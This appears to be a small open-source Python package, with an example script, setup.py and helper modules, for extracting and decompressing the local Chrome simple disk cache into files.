from simplecache import SimpleCacheEntry from simplecache.helper import save import glob import urllib.parse import os import brotli import gzip import zlib cache_dir = os.path.expanduser('~/.cache/google-chrome/Default/Cache/*_0') out_dir = 'cache' if not os.path.exists(out_dir): os.mkdir(out_dir) for entry_file in glob.glob(cache_dir): e = SimpleCacheEntry(entry_file) prefix, host, url = e.get_key().split(' ') filename = urllib.parse.quote(url, safe='')[:255] encoding = e.get_header().headers.get('content-encoding', '').strip().lower() out_path = os.path.join(out_dir, filename) save(e, out_path) --- FILE SEPARATOR --- import setuptools import glob import subprocess from setuptools import setup from setuptools.command.build_ext import build_ext from setuptools.extension import Extension import os import shutil class my_ext(build_ext): def build_extension(self, _): subprocess.run(['make', 'py', '-j' + str(os.cpu_count())]) bins = glob.glob('*.so') for bin in bins: outpath = os.path.join(self.build_lib, bin) shutil.move(bin, outpath) with open('README.md', 'rt', encoding='utf-8') as fh: long_description = fh.read() setup( name='chromesimplecache', version='0.0.1', author='shosatojp', author_email='me@shosato.jp', description='Chrome(Linux,Android) cache extractor', long_description=long_description, long_description_content_type='text/markdown', url='https://github.com/shosatojp/simplecache', packages=setuptools.find_packages(), # find package `simplecache` classifiers=[ 'Programming Language :: Python :: 3', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', ], python_requires='>=3.6', install_requires=[ 'pybind11', 'brotli', ], cmdclass={ # custom build script 'build_ext': my_ext, }, ext_modules=[ # for c++ extension Extension('', []) ] ) --- FILE SEPARATOR --- from _simplecache import * --- FILE SEPARATOR --- import brotli import gzip import zlib from _simplecache import HttpHeader def decompress(data: bytes, encoding: str) -> bytes: if encoding == 'gzip': data = gzip.decompress(data) elif encoding == 'br': data = brotli.decompress(data) elif encoding == 'deflate': data = zlib.decompress(data) return data def get_encoding(header: HttpHeader): return header.headers.get('content-encoding', '').strip().lower() def save(entry, path): encoding = get_encoding(entry.get_header()) if encoding: with open(path, 'wb') as f: f.write(decompress(entry.get_data(), encoding)) else: entry.save(path)
[ "/example.py", "/setup.py", "/simplecache/__init__.py", "/simplecache/helper.py" ]